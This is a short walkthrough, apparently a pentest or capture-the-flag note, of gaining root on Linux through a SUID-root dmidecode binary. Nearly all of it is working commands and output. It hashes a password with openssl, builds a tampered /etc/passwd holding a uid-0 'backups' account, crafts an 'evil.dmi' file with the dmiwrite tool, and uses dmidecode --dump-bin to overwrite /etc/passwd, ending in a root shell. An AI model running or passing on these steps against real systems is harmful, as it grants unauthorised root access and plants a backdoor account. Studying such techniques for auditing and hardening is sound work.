Privilege escalation using dmidecode

Scenario

> dmidecode is a utility for reading system hardware information in the SMBIOS format: a standard maintained by the Distributed Management Task Force. https://www.nongnu.org/dmidecode/ is the implementation present in most Linux distributions, including Debian and Red Hat, and was the focus of this investigation.

Command `dmidecode` has SUID (chmod 4000) - run as the owner, not the user who started it.

```
hades@ubuntu:~/dmiwrite$ ls -l $(which dmidecode)
-rwsr-xr-x 1 root root 121856 Dec 23  2019 /usr/sbin/dmidecode
```

Privilege escalation

> dmidecode suid method changing /etc/passwd

Create user backups

Generate hash password with openssl

```
hades@ubuntu:~$ openssl passwd -1 -salt backups bk
$1$backups$FlLpDMVKJpRZ.KXaZE.FW.
```

Fill to file /etc/passwd

```
backups:$1$backups$FlLpDMVKJpRZ.KXaZE.FW.:0:0:,,,:/root:/bin/bash
```

Copy file /etc/passwd to passwd.bak and add backups user to the end of the file

```
hades@ubuntu:~$ cp /etc/passwd /tmp/passwd.bak
hades@ubuntu:~$ echo 'backups:$1$backups$FlLpDMVKJpRZ.KXaZE.FW.:0:0:,,,:/root:/bin/bash' >>
/tmp/passwd.bak
```

Generate payload

```
hades@ubuntu:~/dmiwrite$ make dmiwrite
gcc -W -Wall -Wshadow -Wstrict-prototypes -Wpointer-arith -Wcast-qual -Wcast-align -Wwrite-strings -
Wmissing-prototypes -Winline -Wundef dmiwrite.c util.c -o dmiwrite
```

```
hades@ubuntu:~/dmiwrite$ ./dmiwrite /tmp/passwd.bak evil.dmi
Wrote payload of length 2962 to evil.dmi
Padding 980078 bytes to evil.dmi
```

```
    Setting checksum: memset(buf+30, 202, 1);

Wrote DMI header of length 32 to evil.dmi
Padding 65536 bytes to evil.dmi
Congratulations, evil.dmi looks like a valid DMI file.
```

Getting root

```
hades@ubuntu:~/dmiwrite$ su backups
su: user backups does not exist
hades@ubuntu:~/dmiwrite$ dmidecode --no-sysfs -d evil.dmi --dump-bin /etc/passwd
# dmidecode 3.2
Scanning evil.dmi for entry point.
SMBIOS 2.1 present.
1 structures occupying 2962 bytes.
Table at 0x00000000.

# Writing 2962 bytes to /etc/passwd.
# Writing 0 bytes to /etc/passwd.
/etc/passwd: fwrite: No such file or directory
hades@ubuntu:~/dmiwrite$ su backups
Password:
backups@ubuntu:/home/hades/dmiwrite# id
uid=0(backups) gid=0(root) groups=0(root)
```

Reference

https://github.com/adamreiser/dmiwrite

https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/